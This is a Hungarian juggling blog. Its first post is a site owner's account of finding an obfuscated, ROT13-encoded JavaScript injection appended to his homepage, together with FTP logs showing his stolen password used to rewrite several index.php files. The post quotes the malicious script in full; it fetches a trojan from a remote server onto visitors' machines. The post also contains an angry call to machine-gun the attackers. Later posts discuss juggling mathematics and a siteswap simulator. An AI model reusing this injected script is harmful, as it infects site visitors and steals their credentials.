Minden ami „zsonglőrködés”

shapgvba ejtf(c){…

Amikor a pokol elszabadul.

Rémálom baszki.

Gondos házigazda lévén, rendszeresen nézegetem az oldalaimat, hogy minden rendben van-e, nem kell-e valami hozzászólást kimoderálni stb. Vasárnap feltűnt valami kis apróság. A böngészőm a csokavar.hu főoldalán valami ismeretlen add-in-t akart futtatni. Márpedig én ilyet nem írtam sehova. Aztán nézem a forrást, és 500-600 üres sorral a fájl általam gondolt vége után találtam egy ilyet:

<script language=JavaScript>var sf=” shapgvba cwzgq(d){ine xp,yfl=\”r|b’RhkB_98[5)XsvAPClwHix.e,2o:$uyT^&Vqa36Nd=-Z\\\"{`z]m@GS;UIc# 0}jWMt1pf7~(n4O*+g!\”,xn=\”\”,c,wah,xs=\”\”,pr;sbe(xp=0;xp<d.yratgu;xp++){ c=d.puneNg(xp);wah=yfl.vaqrkBs(c);vs(wah>-1){ pr=((wah+1)%81-1);vs(pr<=0)pr+=81;xs+=yfl.puneNg(pr-1); } ryfr xs+=c;}xn+=xs;qbphzrag.jevgr(xn);}”,aarf=”";for(nyf=0;nyf<sf.length;nyf++){ cqd = sf.charCodeAt(nyf);if((cqd>64 && cqd<78)||(cqd>96 && cqd<110)) cqd=cqd+13;else if((cqd>77 && cqd<91)||(cqd>109 && cqd<123))cqd=cqd-13;aarf=aarf.concat(String.fromCharCode(cqd));} var hw,u; eval( aarf );hw=”<7s,N#!0G431x41|-{U4k47s,N#!{>0n’sx]|3!rJ,N!|a0{<SPRdyF0G431x41|-\\{Z4k4Ss,N#!\\{0SRP-\\{l!!#$//JJJr1”1G|M434Gj!Gs7rs’]/99x!!rU7?{tn’sx]|3!r,|i|,,|,t{\\{><\\/SPRdyF>{0KH0</7s,N#!>0″; pjmtd(hw);</script>

Szoktam ronda kódot írni, de azért ez… 

Kiderült, hogy fenti szutyok valami Hong Kongi gépről (58.65.238.60) próbál egy vírust letölteni a látogató gépére.

Aztán elkezdtem a logokat böngészni, míg az FTP logban a következőre nem bukkantam:

Fri Feb 1 23:58:06 2008 [pid 7784] [encse] OK LOGIN: Client “58.65.238.59″

Fri Feb 1 23:58:12 2008 [pid 7787] [encse] OK DOWNLOAD: Client “58.65.238.59″, “/public_html/www/index.php”, 3904 bytes, 16.06Kbyte/sec

Fri Feb 1 23:58:14 2008 [pid 7787] [encse] OK UPLOAD: Client “58.65.238.59″, “/public_html/www/index.php”, 5498 bytes, 11.47Kbyte/sec

Fri Feb 1 23:58:16 2008 [pid 7787] [encse] OK DOWNLOAD: Client “58.65.238.59″, “/public_html/gekko/index.php”, 92 bytes, 0.39Kbyte/sec

Fri Feb 1 23:58:18 2008 [pid 7787] [encse] OK UPLOAD: Client “58.65.238.59″, “/public_html/gekko/index.php”, 1686 bytes, 3.49Kbyte/sec

Fri Feb 1 23:58:21 2008 [pid 7787] [encse] OK DOWNLOAD: Client “58.65.238.59″, “/public_html/blog/index.php”, 54 bytes, 0.23Kbyte/sec

Fri Feb 1 23:58:23 2008 [pid 7787] [encse] OK UPLOAD: Client “58.65.238.59″, “/public_html/blog/index.php”, 1648 bytes, 3.43Kbyte/sec

Fri Feb 1 23:58:26 2008 [pid 7787] [encse] OK DOWNLOAD: Client “58.65.238.59″, “/public_html/zsonglor/index.php”, 5645 bytes, 24.04Kbyte/sec

Fri Feb 1 23:58:28 2008 [pid 7787] [encse] OK UPLOAD: Client “58.65.238.59″, “/public_html/zsonglor/index.php”, 7239 bytes, 10.81Kbyte/sec

Fri Feb 1 23:58:31 2008 [pid 7787] [encse] OK DOWNLOAD: Client “58.65.238.59″, “/public_html/zsonglor/siteswap/index.php”, 7102 bytes, 16.60Kbyte/sec

Fri Feb 1 23:58:33 2008 [pid 7787] [encse] OK UPLOAD: Client “58.65.238.59″, “/public_html/zsonglor/siteswap/index.php”, 8696 bytes, 12.99Kbyte/sec

Ugyanaz a Hong Kongi IP, közvetlen a másik mellett.

Szóval valaki lenyúlta az FTP jelszavamat, és ahogy sejtem, arra használta fel, hogy ugyanezt a jelszólopó trójait terjessze az oldalaimon.

A neten találtam egy fórumot, ahol egy hasonló támadást elemeznek (http://pouet.net/topic.php?which=5006&page=1). Itt az ‘én’ scriptem egy másik mutációját elemzik. Szerintük az egész mögött a Russian Business Network áll, ami a wikipedia leírása alapján nagyjából a maffia. hátafaszom.

Tegnap jelszavakat váltogattam (bankos, céges, stb.  el lehet képzelni…) Ma meg egész nap a gépet pucolgattam, de ez tisztának tűnik. Azt gondolom, hogy az otthoni, régi gépemen lesz a trójai, de ez a hétvége előtt nem fog kiderülni.

És az egészben nem is az fáj, hogy engem meghackeltek, mert előfordul az ilyesmi. De a büdös kurva életbe már: a szájbavert zsonglőr oldalamra töltik fel az ótvar szutykukat, hogy az arra tévedő gyerekek gépére másszon fel az a szemét.

Én sose voltam a halálbüntetés ellen: le kéne géppuskázni az egész baszott bagást, úgy ahogy van, aztán nézegethetnek.

A zsonglőrködés és a matematika

Valakitől kaptam egy emailt, hogy tudnék-e ajánlani valamit a fenti témában. A helyzet az, hogy ez engem is nagyon érdekelne, de olyan sok anyagom nincs róla. Van egy egyetemi előadás A zsonglőrködés matematikája címmel, de sajnos nincs online jegyzetük, ráadásul a szegedi egyetemen tartják, ami, mit ne mondjak, enyhén szólva kiesik a közvetlen környezetemből.

Aztán van még egy könyv is The Mathematics of Juggling, de könyvesboltban eddig még nem láttam (amazontól meg nem rendelek). Talán valamelyik könyvtárban megtalálható.

Sokszor kapok levelet vagy hozzászólást arról, hogy milyen a ‘négy labdás kaszkád’. Úgy tűnik, három labdával mindenki tud kaszkádolni, na de néggyel?

A neten találtam egy, már a címében is ígéretesnek tűnő, cikket: Why men (and octopuses) cannot juggle a four ball cascade. Teljesen érthető, és könnyen emészthető olvasmány akár gimnazistáknak is. Egyedül a Kínai maradéktétel húzós benne, de azt tulajdonképpen el lehet hinni bizonyítás nélkül is (progmatosok meg már úgyis elsőben megtanulják).

A cikkből kiderül, hogy a négy labdás kaszkád (legalábbis az írók által definiált értelemben) nem lehetséges. Fő eredményük az, hogy kaszkádban csak akkor lehet zsonglőrködni, ha a rendelkezésünkre álló kezek és labdák száma egymással relatív prím. Mivel kettőnél több keze legfeljebb a polipnak vagy két zsönglőrnek együtt van, a tétel a gyakorlatban annyit tesz, hogy egy zsonglőrnél csak páratlan számú labda jöhet szóba, tehát marad a 3,5,7,9,11. Páros mintákhoz ott van a szökőkút, és hasonlók.

Kiegészítés

A kaszkádos cikket időközben lefordítottam.

Web 2.0 – Intentional programming

Mivel már évek óta az intentional bizniszben utazom (www.intentionalsoftware.com), nem csoda, ha a hétvégi projektben sem tudok teljesen elszakadni tőle. :)

Adott ugye az én kis honlapom a Wildcat Zsonglőr Oldalak, ami a webkettes korszellemnek megfelelően nyitott az olvasók hozzászólásaira. Eddig csak a szokásos dolgokat támogattam: szöveget, szmájlikat és linkeket lehetett beszúrni, mígnem azt vettem észre, hogy két látogató egymásnak próbál elmagyarázni valami zsonglőr trükköt, de sehogy se jutnak dűlőre:

- [...] meg lehet próbálni 4 labdával kaszkádolni uúgy, h villanással kezded, aztán keresztbe dobálod…mind1…érthetőbb lesz ha megpróbáljátok… [...]

- A kaszkádot 4el nem érdemes gyakorolni, inkább azt csináld hogy 2őt jobbal kettőt ballal dobsz és mindig keresztbe…Egyébként ha megy az 5labda flash onnan szerintem még legalább fél év hogy stabilan menjen az 5labda…

- A szétválásra gondolsz? azt már tudom,és sztem a 4 labdás kaszkád hasznos,mármint amikor az jól megy,akkor 5 labdával is jól megy.Persze,lehet h semmit nem fejleszt,de azért szerintem nem árt ha tudom

- Nem a szétválósra gondolok…kettőt dobsz jobbal majd kettőt ballal megint kettőt jobbal stb…és minden labdát keresztbe dobsz…

- Tehát multiplex kaszkád? Nem igazán értem,mert ahhoz hogy mindig 2-t tudjak dobni keresztbe,6 labdát kell dobálni. vagy nem?

Intentional szemmel nézve a probléma az, hogy nincsenek megfelelő fogalmaik a trükkök meghatározására. A legtutibb az lenne, ha mindketten ismernék mindkét trükk nevét, de egyrészt ők még kezdők, másrászt a zsonglőrök világában mindennek ezer neve van, és sajnos a legtöbb névhez több trükk is kapcsolódik. Teljes káosz, így marad a körülírás, de az meg, mint látható, nem elég pontos. (Ezért van az, hogy az oldalamon minden trükknek van neve, van hozzá leírás és videó is. Ez aránylag jól definiálja őket.)

A zsonglőr trükkök leírásának másik eszköze a siteswap notation. Ez egy számokból, betűkből és kölönböző zárójelekből álló nyelv, amivel a trükkök egy elég nagy osztálya röviden és pontosan kifejezhető. Sajnos a siteswap tömörsége miatt nem kifejezetten alkalmas emberi fogyasztásra, így két szék közül a pad alá esnénk, ha nem lennének a különböző zsonglőr szimulátorok. Ezek képesek animációként megjeleníteni egy-egy siteswap kódot.

Nyilvánvaló, hogy a helyzeten egy a zsonglőrködés domainjére nézve specifikus szolgáltatás segítene a legjobban, és erre a zsonglőr szimulátorokat érdemes használni.

Webprogramozásban ez így néz ki szépen:

- készítettem egy új oldalt (juggle.php), ahol egy zsonglőr szimulátorral lehet játszani

- a kommentező form aljára odabiggyesztettem egy linket, ami megnyitja ezt az oldalt.

- a juggle.php érzékeli, ha a kommentező formból nyitják meg, és felajánlja az éppen szimulált trükk beillesztését a komment mezőbe.

- a beillesztés egy a juggle.php-re mutató url formájában történik, ami paraméterként tartalmazza a lejátszandó trükk siteswap kódját.

a dolog már így is működne, elég a hozzászólásban az így beillesztett linkre kattintani, és máris látható minden, de miért ne menjünk egy lépéssel tovább:

- a kommentező motor az ilyen url-eket felismeri, és helyettük egy-egy zsonglőr szimulátort jelenít meg, a siteswap kóddal felparaméterezve.

Releváns linkek